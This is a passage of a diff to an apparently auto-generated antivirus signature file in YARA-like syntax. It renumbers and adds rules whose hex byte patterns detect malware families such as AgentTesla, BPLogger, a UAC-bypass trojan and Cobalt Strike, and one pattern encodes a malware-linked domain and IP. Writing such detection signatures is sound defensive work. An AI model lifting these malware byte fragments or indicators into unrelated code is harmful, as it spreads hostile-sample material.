_InfrastructureShared_9012{ +rule _InfrastructureShared_9570{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6f 61 70 42 6f 78 2e 41 21 64 68 61 00 01 00 1e 01 53 50 5f 73 6f 61 70 5f 52 43 45 5f 50 6f 43 90 01 01 57 65 62 50 61 72 74 50 61 67 65 73 01 00 25 01 24 38 39 66 39 64 34 31 31 2d 65 32 } //16675 + $a_34_1 = {62 62 2d 38 37 31 31 2d 32 30 39 66 64 32 35 31 63 61 38 38 01 00 11 01 5c 53 50 5f 73 6f 61 70 5f 52 43 45 5f 50 6f 43 5c 00 00 78 88 } //13111 + $a_00_2 = {01 } //0 + condition: + ((#a_46_0 & 1)*16675+(#a_34_1 & 1)*13111+(#a_00_2 & 1)*0) >=1 + +} +rule _InfrastructureShared_9571{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -96433,7 +102519,7 @@ rule _InfrastructureShared_9012{ ((#a_46_0 & 1)*16675+(#a_5c_1 & 1)*400+(#a_52_2 & 1)*20525) >=1 } -rule _InfrastructureShared_9013{ +rule _InfrastructureShared_9572{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -96444,7 +102530,7 @@ rule _InfrastructureShared_9013{ ((#a_54_0 & 1)*18467+(#a_25_2 & 1)*28001) >=1 } -rule _InfrastructureShared_9014{ +rule _InfrastructureShared_9573{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -96455,7 +102541,7 @@ rule _InfrastructureShared_9014{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*101) >=1 } -rule _InfrastructureShared_9015{ +rule _InfrastructureShared_9574{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -96466,7 +102552,7 @@ rule _InfrastructureShared_9015{ ((#a_54_0 & 1)*18467+(#a_30_1 & 1)*15648) >=1 } -rule _InfrastructureShared_9016{ +rule _InfrastructureShared_9575{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -96478,20 +102564,19 @@ rule _InfrastructureShared_9016{ ((#a_54_0 & 1)*18467+(#a_6a_1 & 1)*656+(#a_81_2 & 1)*-14684) >=1 } -rule _InfrastructureShared_9017{ +rule _InfrastructureShared_9576{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " strings : $a_54_0 = {3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 45 46 00 01 00 14 03 03 80 ff ff 90 01 01 66 39 90 01 01 90 03 01 01 74 75 90 00 01 00 14 03 fd 7f 00 00 90 01 01 66 39 90 01 01 90 03 01 01 74 75 90 00 01 00 15 03 02 80 } //18467 - $a_90_1 = {02 66 39 90 01 01 90 03 01 01 74 75 90 00 01 00 10 03 89 e0 83 c0 90 01 01 e9 90 01 01 00 00 00 90 00 00 00 78 88 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 2e 50 48 52 21 4d 54 42 00 02 00 59 03 08 07 17 73 90 01 01 00 00 0a 0d 2b 1e 2b 23 2b 25 2b 26 2b 28 16 2b 2c 2b 2e 8e 69 6f 90 01 01 00 00 0a 08 6f 90 01 01 00 00 0a 13 05 de 45 28 90 01 01 00 00 06 2b db 13 04 2b d9 09 2b d8 11 04 2b d6 28 90 01 01 00 00 2b 2b d1 11 04 2b d0 28 90 01 01 00 00 2b 90 00 00 00 78 88 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 48 53 54 52 3a 47 61 6d 61 72 75 65 50 6c 5f 53 6f 63 6b 73 00 01 00 09 01 2c 22 73 35 22 3a 25 6c 75 01 00 54 03 ff 75 08 e8 90 01 04 0b c0 74 05 83 f8 ff 75 02 eb } //-1 - $a_d4_2 = {ff ff 05 75 42 0f b6 8d d5 fe ff ff 85 c9 74 37 8d bd d6 fe ff ff 33 c0 f2 ae 75 2b c6 85 cf fe ff ff 00 c7 85 d0 fe ff ff 05 00 00 00 6a 00 6a 02 8d 85 d0 fe ff ff 50 ff 75 08 e8 90 00 00 00 78 88 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 46 6c 79 68 65 61 72 74 54 6f 6f 6c 2e 41 21 64 68 61 00 01 00 14 01 6e 61 6d 65 3d 74 69 6d 65 6c 69 6e 65 5f 70 6f 69 6e 74 73 01 00 3c 01 54 69 6d 65 6c 69 6e 65 50 6f 69 6e 74 70 72 6f 74 6f 73 2e 54 69 6d 65 6c 69 6e 65 54 72 61 63 6b 70 72 6f 74 6f 73 2e 54 69 6d 65 6c 69 6e } //-32693 - $a_70_3 = {73 72 65 66 6c 65 63 74 00 00 78 88 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6f 62 61 6c 74 73 74 72 69 6b 65 2e 4c 4a 21 4d 54 42 00 01 00 25 03 0f be 0c 11 31 c8 8b 4d 90 01 01 8b 55 90 01 01 88 04 11 8b 45 90 01 01 89 45 90 01 01 ff 45 90 01 01 e9 90 00 01 00 2c 03 0f b6 14 1a 01 d1 81 e1 90 01 04 0f be 04 08 89 45 } //21605 + $a_90_1 = {02 66 39 90 01 01 90 03 01 01 74 75 90 00 01 00 10 03 89 e0 83 c0 90 01 01 e9 90 01 01 00 00 00 90 00 00 00 78 88 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 2e 50 48 52 21 4d 54 42 00 02 00 59 03 08 07 17 73 90 01 01 00 00 0a 0d 2b 1e 2b 23 2b 25 2b 26 2b 28 16 2b 2c 2b 2e 8e 69 6f 90 01 01 00 00 0a 08 6f 90 01 01 00 00 0a 13 05 de 45 28 90 01 01 00 00 06 2b db 13 04 2b d9 09 2b d8 11 04 2b d6 28 90 01 01 00 00 2b 2b d1 11 04 2b d0 28 90 01 01 00 00 2b 90 00 00 00 78 88 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 74 65 73 6c 61 2e 41 53 49 21 4d 54 42 00 02 00 57 03 73 0f 00 00 0a 25 6f 90 01 01 00 00 0a 6f 90 01 01 00 00 0a } //-1 + $a_01_3 = {01 00 00 0a 25 90 01 05 73 13 00 00 0a 6f 90 01 01 00 00 0a 6f 90 01 01 00 00 0a 0a 6f 90 01 01 00 00 0a 06 39 1b 00 00 00 06 8e 69 1f 64 3e 11 00 00 00 03 72 ce 01 00 70 90 00 00 00 78 88 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 42 50 4c 6f 67 67 65 72 2e 45 46 41 59 21 4d 54 42 00 02 00 58 03 11 11 11 12 9a 13 13 00 09 11 13 90 01 04 0a 90 01 05 16 fe 01 13 16 11 16 2c 05 38 b6 00 00 00 09 } //28528 condition: - ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*-1+(#a_d4_2 & 1)*-32693+(#a_70_3 & 1)*21605) >=1 + ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*-1+(#a_01_3 & 1)*28528) >=1 } -rule _InfrastructureShared_9018{ +rule _InfrastructureShared_9577{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -96501,7 +102586,27 @@ rule _InfrastructureShared_9018{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_9019{ +rule _InfrastructureShared_9578{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 74 65 73 6c 61 2e 41 53 49 21 4d 54 42 00 02 00 57 03 73 0f 00 00 0a 25 6f 90 01 01 00 00 0a 6f 90 01 01 00 00 0a 72 83 00 00 70 6f 90 01 01 00 00 0a 25 90 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_9579{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 42 50 4c 6f 67 67 65 72 2e 45 46 41 59 21 4d 54 42 00 02 00 58 03 11 11 11 12 9a 13 13 00 09 11 13 90 01 04 0a 90 01 05 16 fe 01 13 16 11 16 2c 05 38 b6 00 00 00 09 11 13 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_9580{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -96512,7 +102617,7 @@ rule _InfrastructureShared_9019{ ((#a_46_0 & 1)*16675+(#a_fe_1 & 1)*-17011) >=2 } -rule _InfrastructureShared_9020{ +rule _InfrastructureShared_9581{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -96523,7 +102628,7 @@ rule _InfrastructureShared_9020{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*28530) >=2 } -rule _InfrastructureShared_9021{ +rule _InfrastructureShared_9582{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -96534,7 +102639,7 @@ rule _InfrastructureShared_9021{ ((#a_46_0 & 1)*16675+(#a_b6_1 & 1)*812) >=2 } -rule _InfrastructureShared_9022{ +rule _InfrastructureShared_9583{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -96545,7 +102650,7 @@ rule _InfrastructureShared_9022{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*-29951) >=2 } -rule _InfrastructureShared_9023{ +rule _InfrastructureShared_9584{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -96556,7 +102661,7 @@ rule _InfrastructureShared_9023{ ((#a_46_0 & 1)*16675+(#a_c6_1 & 1)*812) >=2 } -rule _InfrastructureShared_9024{ +rule _InfrastructureShared_9585{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -96567,7 +102672,7 @@ rule _InfrastructureShared_9024{ ((#a_46_0 & 1)*16675+(#a_f8_1 & 1)*3268) >=2 } -rule _InfrastructureShared_9025{ +rule _InfrastructureShared_9586{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -96578,7 +102683,7 @@ rule _InfrastructureShared_9025{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*29281) >=2 } -rule _InfrastructureShared_9026{ +rule _InfrastructureShared_9587{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -96589,7 +102694,7 @@ rule _InfrastructureShared_9026{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*4881) >=2 } -rule _InfrastructureShared_9027{ +rule _InfrastructureShared_9588{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -96600,7 +102705,7 @@ rule _InfrastructureShared_9027{ ((#a_54_0 & 1)*18467+(#a_08_1 & 1)*2560) >=2 } -rule _InfrastructureShared_9028{ +rule _InfrastructureShared_9589{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -96611,7 +102716,7 @@ rule _InfrastructureShared_9028{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*22352) >=2 } -rule _InfrastructureShared_9029{ +rule _InfrastructureShared_9590{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -96621,7 +102726,7 @@ rule _InfrastructureShared_9029{ ((#a_6e_0 & 1)*21027) >=2 } -rule _InfrastructureShared_9030{ +rule _InfrastructureShared_9591{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -96632,7 +102737,7 @@ rule _InfrastructureShared_9030{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*119) >=2 } -rule _InfrastructureShared_9031{ +rule _InfrastructureShared_9592{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -96643,7 +102748,7 @@ rule _InfrastructureShared_9031{ ((#a_6f_0 & 1)*21539+(#a_75_1 & 1)*29541) >=2 } -rule _InfrastructureShared_9032{ +rule _InfrastructureShared_9593{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -96655,7 +102760,7 @@ rule _InfrastructureShared_9032{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*30033+(#a_00_2 & 1)*105) >=2 } -rule _InfrastructureShared_9033{ +rule _InfrastructureShared_9594{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -96667,7 +102772,7 @@ rule _InfrastructureShared_9033{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*111+(#a_0f_2 & 1)*-18673) >=2 } -rule _InfrastructureShared_9034{ +rule _InfrastructureShared_9595{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -96678,7 +102783,7 @@ rule _InfrastructureShared_9034{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*24278) >=2 } -rule _InfrastructureShared_9035{ +rule _InfrastructureShared_9596{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -96689,7 +102794,7 @@ rule _InfrastructureShared_9035{ ((#a_46_0 & 1)*16675+(#a_65_2 & 1)*-23053) >=2 } -rule _InfrastructureShared_9036{ +rule _InfrastructureShared_9597{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -96701,7 +102806,7 @@ rule _InfrastructureShared_9036{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*30821+(#a_00_2 & 1)*84) >=2 } -rule _InfrastructureShared_9037{ +rule _InfrastructureShared_9598{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -96714,7 +102819,7 @@ rule _InfrastructureShared_9037{ ((#a_77_0 & 1)*19491+(#a_6f_1 & 1)*29555+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1) >=2 } -rule _InfrastructureShared_9038{ +rule _InfrastructureShared_9599{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -96722,13 +102827,13 @@ rule _InfrastructureShared_9038{ $a_54_0 = {3a 57 69 7a 72 65 6d 46 65 61 74 75 72 65 2e 41 32 00 01 00 0f 80 01 5f 64 6f 77 6e 6c 6f 61 64 5f 73 74 61 72 74 01 00 11 80 01 5f 64 6f 77 6e 6c 6f 61 64 5f 73 75 63 63 65 65 64 01 00 10 80 01 5f 64 6f 77 6e 6c 6f 61 64 5f 66 61 69 6c 65 64 01 00 } //18467 $a_5f_1 = {78 } //-32752 x $a_74_2 = {5f 73 75 63 63 65 65 64 01 00 0f 80 01 5f 65 78 65 63 75 74 65 5f 66 61 69 6c 65 64 00 00 78 88 00 00 03 00 03 00 02 00 21 23 41 4c 46 3a 50 55 41 3a 4c 69 6e 6b 75 72 79 21 62 69 74 00 02 00 39 03 8d 34 01 8d 0c 33 3b 0a 73 27 8b 55 90 01 01 8d 0c 38 03 4d 90 01 01 8a 14 11 8b 4d 08 c0 c2 04 32 16 8b 09 03 c8 40 88 14 39 8b 4d 90 01 01 8b 55 0c 3b } //25445 - $a_cf_3 = {00 01 00 29 03 8b 75 08 83 c4 04 33 d2 89 06 85 db 0f 90 01 02 00 00 00 8a 0c 3a 8b 06 c0 c1 04 80 f1 90 01 01 88 0c 02 42 3b d3 72 90 00 00 00 78 88 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 2f 45 6e 69 67 6d 61 5f 50 72 6f 74 65 63 74 65 64 5f 4d 61 6c 77 61 72 65 5f 4d 61 79 31 37 5f 52 68 78 } //-4027 - $a_65_4 = {00 01 00 10 01 bd 9c 74 f6 7a 3a f7 94 c5 7d 7c 7c 7c 7e ae 73 01 00 10 01 82 62 6b 6b 6b 68 a5 ea aa 69 6b 6b 6b 3a 3b 94 01 00 16 03 7c c5 7d 7c 7c 7c 7e ae 73 f9 79 7c 7c 7c f6 90 0a 10 00 7c 90 00 00 00 78 88 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 5f 77 69 74 68 5f 74 } //26950 + $a_cf_3 = {00 01 00 29 03 8b 75 08 83 c4 04 33 d2 89 06 85 db 0f 90 01 02 00 00 00 8a 0c 3a 8b 06 c0 c1 04 80 f1 90 01 01 88 0c 02 42 3b d3 72 90 00 00 00 78 88 00 00 03 00 03 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 79 70 61 73 73 55 41 43 2e 50 41 48 4a 21 4d 54 42 00 02 00 40 01 0f 10 04 01 0f 28 ca 0f 57 c2 0f 11 04 01 } //-4027 + $a_05_4 = {40 f5 ff ff 0f 57 c2 0f 11 84 05 40 f5 ff ff 0f 10 04 02 0f 57 c8 0f 11 0c 02 0f 10 04 06 0f 57 c2 0f 11 04 06 83 c0 40 3d 80 0a 00 00 7c 01 00 12 03 80 b4 05 30 90 01 03 3a 40 3d 8c 0a 00 00 7c f0 90 00 00 00 78 88 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 2f 45 6e 69 67 6d 61 5f 50 72 6f 74 65 63 74 65 64 5f 4d 61 6c 77 61 72 65 5f 4d 61 79 31 37 } //4111 condition: - ((#a_54_0 & 1)*18467+(#a_5f_1 & 1)*-32752+(#a_74_2 & 1)*25445+(#a_cf_3 & 1)*-4027+(#a_65_4 & 1)*26950) >=2 + ((#a_54_0 & 1)*18467+(#a_5f_1 & 1)*-32752+(#a_74_2 & 1)*25445+(#a_cf_3 & 1)*-4027+(#a_05_4 & 1)*4111) >=2 } -rule _InfrastructureShared_9039{ +rule _InfrastructureShared_9600{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " @@ -96738,7 +102843,18 @@ rule _InfrastructureShared_9039{ ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_9040{ +rule _InfrastructureShared_9601{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 79 70 61 73 73 55 41 43 2e 50 41 48 4a 21 4d 54 42 00 02 00 40 01 0f 10 04 01 0f 28 ca 0f 57 c2 0f 11 04 01 0f 10 84 05 40 f5 ff ff 0f 57 c2 0f 11 84 05 40 f5 ff ff } //21539 + $a_02_1 = {0f 57 c8 0f } //4111 + condition: + ((#a_4c_0 & 1)*21539+(#a_02_1 & 1)*4111) >=3 + +} +rule _InfrastructureShared_9602{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -96750,7 +102866,7 @@ rule _InfrastructureShared_9040{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_03_2 & 1)*1) >=3 } -rule _InfrastructureShared_9041{ +rule _InfrastructureShared_9603{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -96762,7 +102878,7 @@ rule _InfrastructureShared_9041{ ((#a_46_0 & 1)*16675+(#a_5d_1 & 1)*16+(#a_41_2 & 1)*307) >=3 } -rule _InfrastructureShared_9042{ +rule _InfrastructureShared_9604{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -96774,7 +102890,7 @@ rule _InfrastructureShared_9042{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*28492+(#a_74_2 & 1)*24940) >=3 } -rule _InfrastructureShared_9043{ +rule _InfrastructureShared_9605{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -96786,7 +102902,7 @@ rule _InfrastructureShared_9043{ ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*385+(#a_85_2 & 1)*-30460) >=3 } -rule _InfrastructureShared_9044{ +rule _InfrastructureShared_9606{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -96798,7 +102914,7 @@ rule _InfrastructureShared_9044{ ((#a_5f_0 & 1)*25635+(#a_01_1 & 1)*7248+(#a_88_2 & 1)*4352) >=3 } -rule _InfrastructureShared_9045{ +rule _InfrastructureShared_9607{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -96811,7 +102927,7 @@ rule _InfrastructureShared_9045{ ((#a_54_0 & 1)*18467+(#a_24_1 & 1)*-30719+(#a_5b_2 & 1)*6656+(#a_1a_3 & 1)*1025) >=3 } -rule _InfrastructureShared_9046{ +rule _InfrastructureShared_9608{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -96822,7 +102938,7 @@ rule _InfrastructureShared_9046{ ((#a_46_0 & 1)*16675+(#a_81_1 & 1)*2308) >=4 } -rule _InfrastructureShared_9047{ +rule _InfrastructureShared_9609{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -96834,7 +102950,7 @@ rule _InfrastructureShared_9047{ ((#a_46_0 & 1)*16675+(#a_ff_1 & 1)*-255+(#a_5f_2 & 1)*275) >=4 } -rule _InfrastructureShared_9048{ +rule _InfrastructureShared_9610{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -96847,7 +102963,7 @@ rule _InfrastructureShared_9048{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*144+(#a_74_2 & 1)*18177+(#a_2e_3 & 1)*25958) >=4 } -rule _InfrastructureShared_9049{ +rule _InfrastructureShared_9611{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -96860,7 +102976,7 @@ rule _InfrastructureShared_9049{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*18027+(#a_4b_2 & 1)*19246+(#a_6c_3 & 1)*385) >=4 } -rule _InfrastructureShared_9050{ +rule _InfrastructureShared_9612{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -96873,7 +102989,7 @@ rule _InfrastructureShared_9050{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*29285+(#a_61_2 & 1)*26990+(#a_55_3 & 1)*11890) >=4 } -rule _InfrastructureShared_9051{ +rule _InfrastructureShared_9613{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -96886,7 +103002,7 @@ rule _InfrastructureShared_9051{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*29298+(#a_65_2 & 1)*29984+(#a_41_3 & 1)*26483) >=4 } -rule _InfrastructureShared_9052{ +rule _InfrastructureShared_9614{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -96899,7 +103015,7 @@ rule _InfrastructureShared_9052{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*26734+(#a_69_2 & 1)*29285+(#a_72_3 & 1)*29807) >=4 } -rule _InfrastructureShared_9053{ +rule _InfrastructureShared_9615{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -96912,7 +103028,7 @@ rule _InfrastructureShared_9053{ ((#a_46_0 & 1)*21283+(#a_01_1 & 1)*29295+(#a_5c_2 & 1)*17153+(#a_00_3 & 1)*25974) >=4 } -rule _InfrastructureShared_9054{ +rule _InfrastructureShared_9616{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -96925,7 +103041,7 @@ rule _InfrastructureShared_9054{ ((#a_4c_0 & 1)*21539+(#a_6f_1 & 1)*25449+(#a_63_2 & 1)*25711+(#a_65_3 & 1)*29541) >=4 } -rule _InfrastructureShared_9055{ +rule _InfrastructureShared_9617{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -96938,7 +103054,7 @@ rule _InfrastructureShared_9055{ ((#a_5f_0 & 1)*25635+(#a_64_1 & 1)*25971+(#a_5c_2 & 1)*274+(#a_65_3 & 1)*26479) >=4 } -rule _InfrastructureShared_9056{ +rule _InfrastructureShared_9618{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -96952,7 +103068,7 @@ rule _InfrastructureShared_9056{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*24931+(#a_72_2 & 1)*26471+(#a_68_3 & 1)*8513+(#a_00_4 & 1)*4) >=4 } -rule _InfrastructureShared_9057{ +rule _InfrastructureShared_9619{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -96966,7 +103082,7 @@ rule _InfrastructureShared_9057{ ((#a_46_0 & 1)*16675+(#a_76_1 & 1)*5376+(#a_6f_2 & 1)*31077+(#a_73_3 & 1)*8303+(#a_73_4 & 1)*29817) >=4 } -rule _InfrastructureShared_9058{ +rule _InfrastructureShared_9620{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -96980,21 +103096,21 @@ rule _InfrastructureShared_9058{ ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*7680+(#a_65_2 & 1)*29301+(#a_6f_3 & 1)*797+(#a_54_4 & 1)*8523) >=4 } -rule _InfrastructureShared_9059{ +rule _InfrastructureShared_9621{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " strings : $a_54_0 = {3a 47 69 66 75 7a 2e 41 31 00 01 00 13 01 63 6f 6f 6b 69 65 73 00 64 6f 6d 61 69 6e 5f 6e 61 6d 65 01 00 12 01 4f 70 65 6e 55 72 6c 00 43 6c 69 63 6b 46 6c 61 73 68 01 00 1d 03 63 6f 6e 6e 65 63 74 00 62 65 67 69 6e 90 02 10 63 6f 6e 6e 65 63 74 00 } //18467 $a_90_1 = {01 00 0a 00 7a 7a 69 6e 66 6f 72 2e 63 6e 01 00 0e 00 31 31 35 2e 32 33 38 2e 32 35 31 2e 35 36 00 00 03 00 78 88 00 00 05 00 05 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 49 6e 6a 75 6b 65 2e 4e 4b 21 4d 54 42 00 03 00 26 03 83 3d b4 3c 80 00 00 0f 84 90 01 01 00 00 00 6a 00 } //28261 - $a_f4_2 = {80 00 6a 00 90 01 01 b4 3c 80 00 50 8b 38 90 00 02 00 31 03 09 c0 0f 85 a1 00 00 00 6a 00 90 01 01 b4 3c 80 00 50 8b 18 ff 93 80 00 00 00 83 3d a0 d8 84 00 20 75 90 01 01 81 3d 4c d7 80 00 ff 00 00 00 90 00 00 00 78 88 00 00 05 00 05 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 69 7a 74 61 } //362 - $a_2e_3 = {57 41 21 4d 54 42 00 02 00 1e 03 26 7e 57 00 00 0a 72 d7 00 00 70 6f 90 01 01 00 00 0a 13 04 11 04 72 4b 01 00 70 17 90 00 02 00 1d 03 7e 57 00 00 0a 72 69 01 00 70 6f 90 01 01 00 00 0a 13 08 11 08 72 ea 02 00 70 17 90 00 01 00 16 03 00 72 b0 03 00 70 72 51 04 00 70 28 90 01 01 00 00 0a 26 2a 90 00 00 00 78 88 00 00 05 00 05 00 } //30059 - $a_23_4 = {4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 6c 6c 49 6e 6a 65 63 74 2e 43 57 50 21 4d 54 42 00 } //3 + $a_f4_2 = {80 00 6a 00 90 01 01 b4 3c 80 00 50 8b 38 90 00 02 00 31 03 09 c0 0f 85 a1 00 00 00 6a 00 90 01 01 b4 